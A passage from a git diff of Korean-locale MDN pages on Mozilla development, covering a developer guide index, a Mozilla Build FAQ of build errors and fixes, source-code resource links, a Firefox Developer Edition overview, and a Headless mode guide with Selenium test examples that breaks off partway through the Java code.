For documentation on using Eclipse CDT for Mozilla C/C++ development, see the Eclipse CDT page.

diff --git a/files/ko/mozilla/developer_guide/index.html b/files/ko/mozilla/developer_guide/index.html new file mode 100644 index 0000000000..e497c4143a --- /dev/null +++ b/files/ko/mozilla/developer_guide/index.html @@ -0,0 +1,92 @@ +--- +title: 개발자 가이드 +slug: Mozilla/Developer_guide +tags: + - Developing Mozilla + - NeedsTranslation + - TopicStub +translation_of: Mozilla/Developer_guide +--- +

당신이 숙련가이든 방금 시작했든,  이 페이지에 있는 글들은 당신이 모질라 개발을 할 수 있게끔 도와줄 것입니다.

+ + + + + + + + +
+

Documentation topics

+ +
+
시작하기
+
A step-by-step beginner's guide to getting involved with Mozilla.
+
+ +
+
Working with Mozilla Source Code
+
A code overview, how to get the code, and the coding style guide.
+
Build Instructions
+
How to build Firefox, Thunderbird, SeaMonkey, or other Mozilla applications.
+
Development process overview
+
An overview of the entire Mozilla development process.
+
Managing multiple profiles
+
When working with prerelease versions of Firefox, it's often helpful to have multiple Firefox profiles, such as one for each channel, or for different kinds of testing.
+
Automated Testing
+
How to run Mozilla's automated tests, and how to write new tests.
+
How to submit a patch
+
After getting your patch written, you need to get it checked into the tree. This article explains the review process and how to get your patch approved.
+
Getting documentation updated
+
How to ensure that documentation is kept up to date as you develop.
+
Mozilla modules and module ownership
+
This article provides information about Mozilla's modules, what the role of a module owner is, and how module owners are selected.
+
Code snippets
+
Useful code samples for a wide variety of things you might need to figure out how to do.
+
Mozilla development strategies
+
Tips for how to make the most of your time working on the Mozilla project.
+
Debugging
+
Find helpful tips and guides for debugging Mozilla code.
+
Performance
+
Performance guides and utilities to help you make your code perform well (and to play nicely with others).
+
The Mozilla platform
+
Information about the workings of the Mozilla platform.
+
Adding APIs to the navigator object {{ gecko_minversion_inline("9.0") }}
+
How to augment the {{ domxref("window.navigator") }} object with additional APIs.
+
Interface Compatibility
+
Guidelines for modifying scriptable and binary APIs in Mozilla.
+
Customizing Firefox
+
Information about creating customized versions of Firefox.
+
Virtual ARM Linux environment
+
How to set up an ARM emulator running Linux for testing ARM-specific, but not necessarily platform-specific, code. Useful for mobile developers.
+
Obsolete Build Caveats and Tips
+
A place to put build tips which are no longer relevant to building the latest version of the code from main but are relevant when building old codebases.
+
+
+

Tools

+ +
+
Bugzilla
+
The Bugzilla database used to track issues for Mozilla projects.
+
MXR
+
Browse and search the Mozilla source code repository on the Web.
+
Bonsai
+
The Bonsai tool lets you find out who changed what file in the repository, and when they did it.
+
Mercurial
+
The distributed version-control system used to manage Mozilla's source code.
+
Tinderbox
+
Tinderbox shows the status of the tree (whether or not it currently builds successfully).  Check this before checking in and out, to be sure you're working with a working tree.
+
Crash tracking
+
Information about the Socorro and Talkback crash reporting systems.
+
Performance tracking
+
See performance information for Mozilla projects.
+
Callgraph
+
A tool to help perform static analysis of the Mozilla code by generating callgraphs automatically.
+
Developer forums
+
A topic-specific list of discussion forums where you can talk about Mozilla development issues.
+
Mozilla Platform Development Cheat Sheet
+
Brian Bondy's list of frequently referenced information for platform developers.
+
+
+ +

 

diff --git a/files/ko/mozilla/developer_guide/mozilla_build_faq/index.html b/files/ko/mozilla/developer_guide/mozilla_build_faq/index.html new file mode 100644 index 0000000000..f4f6e3ee52 --- /dev/null +++ b/files/ko/mozilla/developer_guide/mozilla_build_faq/index.html @@ -0,0 +1,415 @@ +--- +title: Mozilla Build FAQ +slug: Mozilla/Developer_guide/Mozilla_Build_FAQ +tags: + - Build documentation +translation_of: Mozilla/Developer_guide/Mozilla_build_FAQ +--- +

See also:

+ +

General questions

+

 

+

 

+
+
+ Which systems are supported Mozilla build platforms?
+
+ There are multiple levels or tiers of Mozilla build "support". +

Tier-1 platform refers to platforms that are the primary focus for development. Major problems on these platforms are considered showstoppers. These are also the platforms that show up on the SeaMonkey tinderbox page. The tier-1 platforms are:

+
    +
  • linux/x86 (gcc)
  • +
  • win32/x86 (msvc)
  • +
  • OS X (gcc)
  • +
+

Tier-2 platforms are platforms for which a small varying subset of developers & contributors actively try to maintain but general development does not halt for problems on these platforms. These platforms are usually referred as the Ports as most of them reside on the SeaMonkey-Ports tinderbox page. The tier-2 platforms are:

+
    +
  • aix 4.3 (aCC)
  • +
  • beos 5.0.3 (gcc)
  • +
  • bsdi 4.x (gcc)
  • +
  • hpux 10.x,11.x (HP cc)
  • +
  • irix 6.x/gcc (gcc/MIPSpro)
  • +
  • linux/ppc (gcc)
  • +
  • os/2 (gcc)
  • +
  • osf1 5.x (Compaq cc)
  • +
  • solaris (sparc & x86) 2.6+ (gcc/Forte)
  • +
+

Tier-3 platforms are those platforms which generally are not actively worked on by the main developers of the project but have fixes contributed by third parties. Tier 3 platforms are:

+
    +
  • freebsd (gcc)
  • +
  • linux/alpha (gcc)
  • +
  • netbsd (gcc)
  • +
  • openvms (?)
  • +
  • ps2linux (gcc)
  • +
  • qnx 6 (gcc)
  • +
  • win32/x86 (gcc)
  • +
+

All other platforms are "unsupported" by the primary mozilla developers, where "unsupported" really means "not a priority and no one is actively working on it".

+

Most Mozilla developers do not have access to non-tier-1 platforms so any bugs reports against non-tier-1 platforms should be overflowing with information to help the owner of the bug determine the cause of the problem and the proper solution. If you can provide a patch and/or verify that the developer's patches work for your platform, that would help a lot towards getting your bugs fixed and checked into the tree.

+

 

+
+
+ What type of build system does Mozilla use?
+
+ Mozilla uses a thin GNU configure layer on top of a legacy Netscape recursive makefile build system on all platforms. Like most configure-based projects, it uses GNU autoconf to generate the configure script. GNU make is used to drive the build process. +

 

+
+
+ Why use GNU make?
+
+ GNU make has been ported to a lot of systems. This makes porting Mozilla to those systems a bit easier. Using only the subset of make features that are supported by the native make program on 10 different platforms would make the build system unnecessarily complicated. +

 

+
+
+ Will any other version of make work?
+
+ No. The Mozilla makefiles use GNU make specific features which will only work with gnu make. +

 

+
+
+ Why aren't you using automake?
+
+ Part of Netscape's legacy system involved using GNU make's -include feature to include a common set of rules from a handful of files in every Makefile that needed to use them. With this centralized rule system, one of the primary selling points of automake was made inconsequential. Also, at the time, Mozilla's method of building libraries did not mesh well with libtool. +

 

+
+
+ What happened to the nmake and CodeWarrior build systems?
+
+ They no longer exist in the current tree. nmake build support was dropped during the Mozilla 1.2a release cycle. The mac cfm build system was dropped along with OS9 support shortly after the Mozilla 1.3 release. +

 

+
+
+ Why not ant, tmake, scons or + + insert your favorite build system here + ?
+
+ Mainly, because no one has implemented these systems for Mozilla. When Mozilla was first open sourced, it only contained the legacy Netscape system. The autoconf layer was added on a branch and maintained in parallel for 6 months before it became the standard build system for the unix build. +

 

+
+
+ If I wanted to implement my favorite build system for Mozilla, would Mozilla start using it? I don't want to waste my time if you aren't going to use it.
+
+ There's no guarantee that any code written for Mozilla will be accepted into the default tree. Any build system that is implemented would have to show that it's better overall than the current build system. Speed, flexibility, portability and the ability for a large group of developers who have 3+ years experience with the current build system to easily transition to the new system would be the major factors in deciding to switch. If you are serious and willing to do lots of work, contact User:Benjamin Smedberg to discuss the details of your proposal. +

 

+
+
+ Why doesn't Mozilla support autoconf 2.5x?
+
+ Simply put, autoconf 2.5x does not offer anything to make the upgrade worth the effort. Autoconf 2.5x is not backwards compatible with autoconf 2.13 and the additional restrictions made by the newer versions of autoconf would require a major rewrite of the Mozilla build system for questionable gain. +

Some of the 2.13 features, such as the ability to pass additional arguments to sub-configures, are not available in 2.5x. People have asked repeated about those features on the autoconf mailing list without any favorable response. Rewriting the configures of the sub-projects of Mozilla (NSPR & LDAP) is not an acceptible tradeoff. The sub-projects are also standalone projects and forking an entire codebase because of a build system incompatiblity is silly.

+

 

+
+
+ Why doesn't NSS use autoconf?
+
+ The NSS project is also used outside of the Mozilla project and the NSS project members did not feel that moving to autoconf was worth the cost. See {{ Bug(52990) }} for details. +

 

+
+
+ Can I build multiple Mozilla-based projects from a single source tree?
+
+ Yes! Each project must be built in its own objdir. +

 

+
+
+ What is an objdir?
+
+ An objdir build refers to the process of creating the output files in a different place than where the source lives. This is a standard feature of most configure-based projects. It allows you build for multiple configurations, including multiple platforms if you use a network filesystem, from a single source tree. It also avoid tainting your source tree so that you know that the files in your tree have not been modified by the build process. +

If you run configure by hand, you can use the standard method of creating an empty directory any place on the disk, changing to that directory and running /path/to/mozilla/configure from there.

+
mkdir obj-debug
+cd obj-debug
+../mozilla/configure
+
+

If you use client.mk to build, you can add the following to your mozconfig file:

+
mk_add_options MOZ_OBJDIR=/path/to/objdir
+
+

 

+
+
+ Can I cross-compile Mozilla?
+
+ Yes, see the Cross-Compiling Mozilla document for details. No, Canadian Cross-Compiling is not supported. +

 

+
+
+ Do parallel (make -j) builds work for Mozilla?
+
+ Yes. See the GNU Make Parallel Execution manual entry for optimal usage. +

If you get obscure build errors when using parallel building (especially when using -j instead of -jN to run as many tasks in parallel as possible), try reducing the number of parallel tasks by decreasing N (or, if you used unlimited parallelism, add a small number N to -j).

+

Parallel building with -j4 and -j8 seems to work well.

+

 

+
+
+ How do I force the build system to pick up any of the changes made to my mozconfig file?
+
+ Touch any of the configure scripts in the tree. There is no explicit dependency upon the mozconfig file as the file can reside anywhere via the MOZCONFIG environment variable. +

 

+
+
+ error: file '../../toolkit/locales/en-US/chrome/necko/contents.rdf' doesn't exist at ../../config/make-jars.pl line 418, <STDIN> line 9.
+
+ You are trying to build Firefox without following the instructions on Configuring Build Options. In particular, your mozconfig file must source the Firefox default mozconfig file: +
. $topsrcdir/browser/config/mozconfig
+# add your custom additional options here
+
+

 

+
+
+ Initial cvs checkout fails with the message: <tt>cvs {{ mediawiki.external('checkout aborted') }}: *PANIC* administration files missing</tt>
+
+ You cannot create a cvs tree under a directory named "CVS". This is a feature/bug of cvs. cvs expects to find certain administration files under the CVS directory and will complain if they are missing. +

 

+
+
+ Error: ../coreconf/rules.mk:406: target `c' doesn't match the target pattern
+
+ You need make 3.80 and no other version like 3.81 +

 

+
+
+

Mac-specific questions

+

 

+
+
+ Can I build a Mozilla application as a Universal Binary?
+
+ Yes. See Mac OS X Universal Binaries for instructions. +

 

+
+
+ Does Mozilla build on UFS?
+
+ Yes, since {{ Bug(157036) }} has been fixed. +

 

+
+
+ Does Mozilla run on UFS?
+
+ Yes. +

 

+
+
+ Can I use CodeWarrior to compile the Mach-O build?
+
+ No, CodeWarrior is dead. See {{ Bug(119589) }} for details. +

 

+
+
+ After rebuilding e.g. layout, how do I make my FirefoxDebug.app reflect that change?
+
+ make -C browser/app.
+
+

For common Mac build errors and additional troubleshooting tips, see Troubleshooting in Mac OS X Build Prerequisites.

+

Win32-specific questions

+

 

+

 

+
+
+ Is there a Microsoft Visual Studio project file to build Mozilla?
+
+ No. You must use cygwin and GNU make. +

 

+
+
+ Can I run the build commands from cmd.exe?
+
+ Yes. Make invokes the cygwin /bin/sh subshell to execute commands so it does not matter what shell is used to initially invoke make. +

 

+
+
+ Which version of cygwin's autoconf package do I need to use?
+
+ Because of the incompatibilities between autoconf 2.1x and 2.5x, the cygwin maintainers wrote a wrapper script which will determine which version of autoconf your configure script needs and invoke that version of autoconf. You will need the autoconf(-wrapper) & autoconf-stable packages. See http://cygwin.com/ml/cygwin-announce.../msg00177.html for details. +

 

+
+
+ Microsoft tools (CL, LINK, RC) gives + + file not found + errors
+
+ The INCLUDE and LIB environment variables are used by the Microsoft Visual C++ tools. They are ordinarily set up in vcvars32.bat. Depending on which modules you build, you may or may not need MFC and ATL. Below are paths that work if Visual C++ is installed at "C:\msvs": +
set INCLUDE=C:\msvs\VC98\Include;C:\msvs\VC98\MFC\Include;C:\msvs\VC98\ATL\Include
+set LIB=C:\msvs\VC98\Lib;C:\msvs\VC98\MFC\Lib
+
+

 

+
+
+ cvs fails with the message:
+
+
cvs update: authorization failed: server XXXX rejected access
+cvs update: used empty password; try "cvs login" with a real password
+
+

You are mixing wincvs and cygwin cvs. Use only one or the other.

+

 

+
+
+ cvs fails with the message:
+
+
cvs [checkout aborted]: cannot rename file CVS/Entries.Backup to CVS/Entries: Permission denied
+
+

As of cygwin 1.3.13, ntsec is enabled by default. ntsec is cygwin's attempt to get a more UNIX like permission structure based upon the security features of Windows NT. The error message indicates that there's a mapping discrepancy between the unix permissions listed in cygwin's /etc/passwd file and those used by Windows NT. As a workaround, you can add "nontsec" to your CYGWIN environment variable. The proper fix would be to fix the mapping problem.

+

 

+
+
+ Make spits out an error about not being able to find a .dtd file
+
+ You probably used WinZip to unpack the source archive. Don't do that. WinZip, by default, doesn't unpack 0 length files from tar.gz archives. Use another utility, or use the pull script to checkout the files that WinZip didn't extract. +

 

+
+
+ nsinstall or another native win32 program complains about a file not being found
+
+ Check your cygwin mount table. Running the mount command should return something similar to: +
c: on /cygdrive/c type user (binmode,noumount)
+e: on /cygdrive/e type user (binmode,noumount)
+c:\cygwin on / type system (textmode)
+c:\cygwin\bin on /usr/bin type system (textmode)
+c:\cygwin\lib on /usr/lib type system (textmode)
+
+

The build system expects that drive partitions are mounted using /cygdrive as the drive prefix. If c: or e: does not use /cygdrive as the drive prefix, then you cannot build Mozilla using those drives. You will need to manually mount the drive at the expected spot by using the command:

+
mount -s "e:\" /cygdrive/e
+
+

binmode (unix lineendings) or textmode (dos lineendings) don't matter as long as you use an editor (emacs, msdev) which can handle the appropriate line endings.

+

 

+
+
+ xpidl.exe crashes with an access violation
+
+ This usually occurs because of a mismatch between your compiler and your glib and/or libIDL libraries. +

If you are building with Visual Studio .NET, then you must link against the VC7 built version of the glib & libIDL DLLs. For Visual Studio .NET 2003, use the VC7.1 versions. For Visual Studio 2005, use the VC8 versions.

+

The directory containing the versions of these libraries specific to your compiler must be in your PATH before any other version of those libraries. The .dll and .lib files must be executable (just chmod 755 them) or cygwin will not load them.

+

See Windows Build Prerequisites for more tips on building with VC7 and newer.

+

There are also some alternative static libraries available in {{ Bug(242870) }} that may be used instead of compiler specific libraries.

+

If you are building with VC6, then you must make sure that you are + + not + using the VC7 libraries at buildtime or at runtime.

+

 

+
+
+ configure: error: the linker major version, , does not match the compiler suite version, 6.
+
+ The cygwin tool "link.exe" is being confused for an object linker. Make sure that the Microsoft tools are before cygwin in your PATH, or rename or remove /bin/link.exe +

 

+
+
+ configure: error: installation or configuration problem: C compiler cannot create executables.
+
+ Try checking to make sure your PATH variable includes all the necessary directories. If you are using MS Visual Studio, run vcvars32.bat (which sets your PATH, LIB, and INCLUDE variables). If your build environment has changed, you may need to delete your config.cache file (in your mozilla or object directory) and then build again. +

 

+
+
+ fatal error LNK1112: module machine type 'IA64' conflicts with target machine type 'X86'
+
+ Try changing the order of the directories in your PATH, LIB, and INCLUDE variables. Move any directories that include "win64" or "IA64" (or "AMD64") closer to the end. +

 

+
+
+ LINK : fatal error LNK1104: cannot open file 'atlthunk.lib'
+
+ According to this Microsoft forum thread, there is a different version of the Active Template Library (ATL) in the free Platform Software Development Kit (PSDK) than in Visual Studio. The ATL in the PSDK does not support 32-bit code, only 64-bit, whereas the Visual Studio ATL supports both and does not require atlthunk.lib. Apparently the atlthunk.lib file is not available and cannot be built from freely available tools, including the Visual C++ Toolkit and Visual Studio Express. You can either upgrade to the full version of Visual Studio to use its version of ATL, or you can workaround this problem by changing some code in atlbase.h (in \include\atl under the PSDK directory) as follows. +
--- atlbase.h.old       2006-06-08 08:20:26.671875000 -0400
++++ atlbase.h   2006-06-08 08:13:26.578125000 -0400
+@@ -283,7 +283,7 @@
+         }
+ };
+ #pragma pack(pop)
+-
++/*
+ PVOID __stdcall __AllocStdCallThunk(VOID);
+ VOID  __stdcall __FreeStdCallThunk(PVOID);
+
+@@ -291,6 +291,11 @@
+ #define FreeStdCallThunk(p) __FreeStdCallThunk(p)
+
+ #pragma comment(lib, "atlthunk.lib")
++*/
++
++// workaround for not having atlthunk.lib in PSDK or VC++ 2005 Express Edition
++#define AllocStdCallThunk() HeapAlloc(GetProcessHeap(),0,sizeof(_stdcallthunk))
++#define FreeStdCallThunk(p) HeapFree(GetProcessHeap(), 0, p)
+
+ #elif defined (_M_AMD64)
+ #pragma pack(push,2)
+
+

I also had to delete the object directory and compile from scratch in order for the compiler to pick up this change.

+

 

+
+
+ compiling or building an executable with cygwin and VS6.0 results in FIND: Parameter format not correct
+
+ There is confusion between System32 "find" and cygwin's /usr/bin/find. The desired find is cygwin's. This is caused by Path ordering. A few possible solutions are possible: +
    +
  • temporarily rename system32/find.exe
  • +
  • make sure cygwin path entry comes before system32 path entry
  • +
+

 

+
+
+ I packaged Firefox via the installer: <tt>make -C ${OBJ_DIR}/browser/installer installer</tt> without any problems. Executing the resulting installer asks for a missing mozz.dll; installation fails
+
+ Both Thunderbird and Firefox should be compiled with the --enable-static --disable-shared configure flags +

 

+

 

+
+
+ build fails with the message:
+
+
shlibsign.exe - Entry Point Not Found
+The procedure entry point CERT_GetFirstEmailAddress could not
+be located in the dynamic link library nss3.dll.
+
+

You may have multiple instances of nss3.dll on your machine and in your path. Run a seach on your machine for all instances of this file. Move any instances found outside of your firefox build tree aside during the build and rename them back when the build is done.</dd>

+

 

+
+
+

Unix-specific questions

+

 

+
+
+ Galeon needs libgtksuperwin.so but I don't have that file in my Mozilla gtk2 builds. Where is it?
+
+ Only the Mozilla gtk1 builds build libgtksuperwin.so. If you want to use galeon with a gtk2 build, you will need to use galeon2. +

 

+
+
+ Why does configure say that it needs libIDL >= 0.6.3 when I have libIDL 0.8.x installed?
+
+ libIDL 0.8x can only be used when compiling against gtk2. Mozilla compiles against gtk1 by default. To use libIDL 0.8.x and gtk2, you must specify --enable-default-toolkit=gtk2 on the configure command line or in your mozconfig file. NOTE: This is an old issue which has been fixed for mozilla 1.8. +

 

+
+
+ How do I build on Solaris 10 x86 (Seamonkey)?
+
+ I had to do the following to get a working environment
+
+ 1. Install forte (free from Sun)
+
+ 2. Install gmake (from blastwave)
+
+ 3. mv /usr/ucb/cc /usr/ucb/cc.hold
+
+ 4. CFLAGS="-xlibmil"; export CFLAGS
+
+ 5. CXXFLAGS="-xlibmil -xlibmopt -features=tmplife -norunpath"; export CXXFLAGS
+
+ 6. LDFLAGS='-R$ORIGIN -R/usr/sfw/lib -R/opt/sfw/lib -R/usr/local/lib -R/opt/csw/lib'; export LDFLAGS
+
+ 7. PATH=$PATH:/opt/SUNWspro/bin:/opt/csw/bin:/opt/csw/sbin:/usr/ucb/bin:/usr/ccs/bin; export PATH
+
+ 8. LD_LIBRARY_PATH=/opt/SUNWspro/lib:$LD_LIBRARY_PATH; export LD_LIBRARY_PATH
+
+ 9. Create a mozconfig file and build as normal
+
+ 10. The building of the package (tar and gzip) failed so I just manually tarred up the resulting files in the dist directory +

 

+
+
+ libxpcom_core.so: cannot restore segment prot after reloc: Permission denied</dt>
+
+ You are probably using Fedora Core 5, or some other Linux distrobution that has SELinux turned on. Use the command 'chcon -t chcon -t texrel_shlib_t lib*' in your dist/bin directory to fix it.</dd>
+
+

{{ languages( { "fr": "fr/FAQ_sur_la_compilation_de_Mozilla" } ) }}

diff --git a/files/ko/mozilla/developer_guide/source_code/index.html b/files/ko/mozilla/developer_guide/source_code/index.html new file mode 100644 index 0000000000..13120b58e7 --- /dev/null +++ b/files/ko/mozilla/developer_guide/source_code/index.html @@ -0,0 +1,49 @@ +--- +title: Working with Mozilla source code +slug: Mozilla/Developer_guide/Source_Code +tags: + - Developing Mozilla + - NeedsTranslation +translation_of: Mozilla/Developer_guide/Source_Code +--- +

The articles below will help you get your hands on the Mozilla source code, learn to navigate the code, and how to get the changes you propose checked into the tree.

+ +
+
+
+
Getting the code from the Mercurial repository
+
If you plan to contribute to the Mozilla project, the best way to get the code is to check it out from the version control repository. Learn how to do that here.
+
Getting a pre-configured Mozilla build system virtual machine
+
This is the easiest way to get started: use a VirtualBox virtual machine which is already configured with a complete build environment for you to use. Just boot the VM and build!
+
Downloading the source code
+
If you want to fetch the code for a specific release of a particular Mozilla product, you may prefer to download a source code archive.
+
Viewing and searching Mozilla source code online
+
Learn how to use MXR, Mozilla's online search and browsing tool for accessing the source code. This isn't a good way to download the code, but is a great way to search it.
+
Navigating the Mozilla source code
+
Learn about the various folders in the Mozilla source tree, and how to find what you're looking for.
+
Bugs for newcomers
+
If you are new to the project and want something to work on, look here.
+
+
+ +
+
+
Mozilla Coding Style Guide
+
The code style guide provides information about how you should format your source code to ensure that you don't get mocked by the reviewers.
+
Interface development guide
+
Guidelines and documentation for how to create and update XPCOM interfaces.
+
The Firefox codebase: CSS Guidelines
+
This document contains guidelines defining how CSS inside the Firefox codebase should be written, it is notably relevant for Firefox front-end engineers.
+
SVG Cleanup Guide
+
Guidelines and best practices for shipping new SVGs.
+
Try Servers
+
Mozilla products build on at least three platforms. If you don't have access to them all, you can use the try servers to test your patches and make sure the tests pass.
+
Creating a patch
+
Once you've made a change to the Mozilla code, the next step (after making sure it works) is to create a patch and submit it for review. This article needs to be updated fully for Mercurial.
+
Getting commit access to the source code
+
Feel ready to join the few, the proud, the committers? Find out how to get check-in access to the Mozilla code.
+
Getting older Mozilla code from CVS
+
Older versions of the Mozilla source code, as well as the current versions of NSS and NSPR, are kept in a CVS repository. Learn about that in this article.
+
+
+
diff --git a/files/ko/mozilla/firefox/developer_edition/index.html b/files/ko/mozilla/firefox/developer_edition/index.html new file mode 100644 index 0000000000..5303ed6630 --- /dev/null +++ b/files/ko/mozilla/firefox/developer_edition/index.html @@ -0,0 +1,56 @@ +--- +title: Developer Edition +slug: Mozilla/Firefox/Developer_Edition +tags: + - 초보자 + - 파이어폭스 +translation_of: Mozilla/Firefox/Developer_Edition +--- +

웹 개발자들을 위한 Firefox입니다.

+ +

 Firefox 개발자 에디션 내려받기

+ +
+
+
+

최신 파이어폭스 기능

+ +

파이어폭스 개발자 에디션은 Firefox Release Process의 오로라 채널을 대채합니다. 오로라 채널처럼, 개발자 에디션에서도 6개월에 한번씩 새 기능이 업데이트 됩니다.물론, Nightly 빌드에서 검증된 상태로 말이죠.

+ +

개발자 에디션을 사용하면, 여러분은 도구와 플랫폼에 대한 엑세스를 Firefox 릴리즈 보다 적어도 12주 전에 체험할 수 있습니다.

+ +

어떤 기능이 새로 생겼는지 알아보세요.

+
+ +
+

새로운 테마

+ +

이 테마는 개발자 도구에 더 쉽게 접근할 수 있도록 돕습니다.

+ +

시험적인 개발자 도구

+ +

저희는 여러가지 릴리즈에 포함되지 않은 시험적인 개발자 도구들을 포함하고 있습니다.

+ +

예를 들어, 파이어폭스 개발자 에디션은 Valence add-on과, Firefox developer tools를 다른 브라우저에서 연결할 수 있는 도구를 제공합니다.

+
+
+ +
+
+

다중 프로필

+ +

파이어폭스 개발자 에디션은 다중 프로필을 사용할 수 있습니다. 이는 설치된 다른 파이어폭스 버전과 바꿀 수 있는 것입니다. 이 의미는 굳이 따로 Firefox Beta를 실행시키지 않고도 개발자 에디션을 통해 사용할 수 있다는 것입니다.

+ +
+

노트: 개발자 에디션을 처음 시작하게 되면, 커스트마이징되지않은 웹 브라우저를 보실겁니다.애드온, 즐겨찾기, 검색기록 없이 말이죠. 당신은 파이어폭스 동기화를 사용하여 다른 에디션과 동기화 할 수 있습니다.

+
+
+ +
+

웹 개발자들을 위한 맞춤 설정

+ +

저희는 웹 개발자들을 위해 몇가지 설정을 해 두었습니다. 예를 들면, 크롬과 원격 디버깅이 기본적으로 활성화 되어있습니다.

+
+
+ +

 

diff --git a/files/ko/mozilla/firefox/headless_mode/index.html b/files/ko/mozilla/firefox/headless_mode/index.html new file mode 100644 index 0000000000..899740e0af --- /dev/null +++ b/files/ko/mozilla/firefox/headless_mode/index.html @@ -0,0 +1,204 @@ +--- +title: Headless mode +slug: Mozilla/Firefox/Headless_mode +tags: + - QA + - node.js + - 모질라 + - 자동화 + - 테스트 + - 테스팅 + - 헤드리스 + - 헤드리스 모드 +translation_of: Mozilla/Firefox/Headless_mode +--- +

Headless mode는 Firefox를 실행시키기 위한 유용한 방법입니다, 즉 UI컴포넌트가 보이지 않더라도 Firefox는 정상적으로 움직인다는 것입니다. 웹서핑하기에는 불편할 지라도 테스트를 자동화하기에는 매우 유용합니다. 이 글은 Headless Firefox 실행을 위해 알아야할 모든 것을 제공합니다.

+ +

headless mode를 사용하기

+ +

-headless flag를 붙이는 것만으로 코맨드라인에서 headless mode를 실행할 수 있습니다.

+ +
/path/to/firefox -headless
+ +

지금은 심플하게 되어있습니다만 앞으로 옵션을 추가할 예정입니다. 

+ +

하나의 예를 들자면, headless Firefox를 이용해서 간단하게 스크린샷을 찍을 수 있는 -screenshot 옵션을 작업하고 있습니다.  현재 진행사항은 여기서 {{bug(1378010)}} 볼 수 있습니다.

+ +

Browser support

+ +

Headless Firefox는 리눅스에서는 Firefox55이상, 윈도우즈와 맥에서는 Firefox56이상의 버전에서 지원하고 있습니다.

+ +

headless mode를 이용한 테스트 자동화

+ +

headless Firefox를 이용하는 가장 유용한 방법은 자동화된 테스트와 함께 이용하는 것입니다. 즉,테스트의 과정을 더욱 더 효율적으로 만들어 낼 수 있다는 것입니다. 

+ +

Selenium in Node.js

+ +

여기서는 Node.js 와 selenium-webdriver 패키지를 이용해서 Selenium테스트를 만들어 볼 것입니다. 이 가이드는 Selenium, Webdriver 그리고 Node에 대한 기본적인 지식과 테스팅 환경 설정이 완료되어 있다는 가정하에 쓰여져 있습니다. 그렇지 않다면 Setting up Selenium in Node 를 먼저 보시고 난 후에 본 가이드를 이용하실 것을 권장합니다.

+ +

먼저 Node와 selenium-webdriver패키지가 설치되어 있는지 확인합니다. 그리고 selenium-test.js라는 파일을 만들어서 불러옵니다. 그런 후 아래의 내용을 단계별로 진행합니다.

+ +
+

Note: 다른 방법으로는 headless-examples repo;가 이용 가능합니다.
+ npm install을 이용하는 것만으로 필요한 라이브러리를 설치해 포함시킬수 있습니다.

+
+ +
    +
  1. +

    selenium-webdriver module과 firefox submodule을 불러오는 로직을 추가합니다.

    + +
    var webdriver = require('selenium-webdriver'),
    +    By = webdriver.By,
    +    until = webdriver.until;
    +
    +var firefox = require('selenium-webdriver/firefox');
    +
  2. +
  3. +

    다음으로, Firefox Nightly를 설정한 binary objecet를 작성합니다. 그리고 argument를 -headless로 해서 추가하면 headless mode를 실행시키기 위한 준비가 완료됩니다. 

    + +
    var binary = new firefox.Binary(firefox.Channel.NIGHTLY);
    +binary.addArguments("-headless");
    +
  4. +
  5. +

    Firefox용으로 웹드라이버 인스탄스를 작성합니다. 그리고 setFirefoxOptions() 를 이용해서 작성해둔 바이너리를 설정합니다. ( 이 작업은 리눅스와 윈도우즈와 맥에서 headless mode가 릴리즈 되면 불필요합니다. 하지만 Nightly-specific feature에서 테스트하기를 원한다면 유용합니다 )

    + +
    var driver = new webdriver.Builder()
    +    .forBrowser('firefox')
    +    .setFirefoxOptions(new firefox.Options().setBinary(binary))
    +    .build();
    +
  6. +
  7. +

    구글 검색페이지를 이용하는 간단한 테스트를 수행하는 코드를 추가합니다.

    + +
    driver.get('https://www.google.com');
    +driver.findElement(By.name('q')).sendKeys('webdriver');
    +
    +driver.sleep(1000).then(function() {
    +  driver.findElement(By.name('q')).sendKeys(webdriver.Key.TAB);
    +});
    +
    +driver.findElement(By.name('btnK')).click();
    +
    +driver.sleep(2000).then(function() {
    +  driver.getTitle().then(function(title) {
    +    if(title === 'webdriver - Google Search') {
    +      console.log('Test passed');
    +    } else {
    +      console.log('Test failed');
    +    }
    +  });
    +});
    +
    +driver.quit();
    +
  8. +
  9. +

    마지막으로 아래의 명령어와 함께 테스트를 실행해주세요.

    + +
    node selenium-test
    +
  10. +
+ +

몇 초 후 콘솔에서 "Test passed"를 보게될 겁니다.  이게 다입니다! 

+ +

headless mode를 이용한 Node.js Selenium tests에 관한 유용한 팁이나 트릭은 이 글 (Headless Firefox in Node.js with selenium-webdriver by Myk Melez) 을 참고해주세요.

+ +

Selenium in Java

+ +
+

Note: Thanks a lot to nicholasdipiazza for writing these instructions!

+
+ +

 Gradle projects를 지원하는 IDE를 사용하고 있고 Setting up Selenium in Node 가이드에 설명되어진대로 Geckodriver가 설치되어져 있다는 가정하에 쓰여져 있습니다.

+ +
    +
  1. +

    headlessfirefox-gradle.zip 를 다운로드합니다. (see the source here), 압축을 풉니다, 그리고 headlessfirefox폴더를 IED에 gradle project로 Import합니다.

    +
  2. +
  3. +

    build.gradle파일에 selenium을 설정합니다. 필요에 따라 다른 버전을 이용하셔도 상관없습니다. 이번 글에서는 3.5.3을 이용합니다. 

    + +
    group 'com.mozilla'
    +version '1.0'
    +
    +apply plugin: 'java'
    +
    +sourceCompatibility = 1.8
    +
    +repositories {
    +   mavenCentral()
    +}
    +
    +dependencies {
    +   compile('org.seleniumhq.selenium:selenium-api:3.5.3')
    +   compile('org.seleniumhq.selenium:selenium-remote-driver:3.5.3')
    +   compile('org.seleniumhq.selenium:selenium-server:3.5.3')
    +
    +   testCompile group: 'junit', name: 'junit', version: '4.12'
    +}
    +
  4. +
  5. +

    geckodriver를 설치한 경로와 같은 곳에 있는 HeadlessFirefoxSeleniumExample.java 파일에서 webdriver.gecko.driver property를 수정합니다. (see line 15 below).

    + +
    package com.mozilla.example;
    +
    +import org.openqa.selenium.By;
    +import org.openqa.selenium.WebElement;
    +import org.openqa.selenium.firefox.FirefoxBinary;
    +import org.openqa.selenium.firefox.FirefoxDriver;
    +import org.openqa.selenium.firefox.FirefoxOptions;
    +
    +import java.util.concurrent.TimeUnit;
    +
    +public class HeadlessFirefoxSeleniumExample {
    + public static void main(String [] args) {
    +   FirefoxBinary firefoxBinary = new FirefoxBinary();
    +   firefoxBinary.addCommandLineOptions("--headless");
    +   System.setProperty("webdriver.gecko.driver", "/opt/geckodriver");
    +   FirefoxOptions firefoxOptions = new FirefoxOptions();
    +   firefoxOptions.setBinary(firefoxBinary);
    +   FirefoxDriver driver = new FirefoxDriver(firefoxOptions);
    +   try {
    +     driver.get("http://www.google.com");
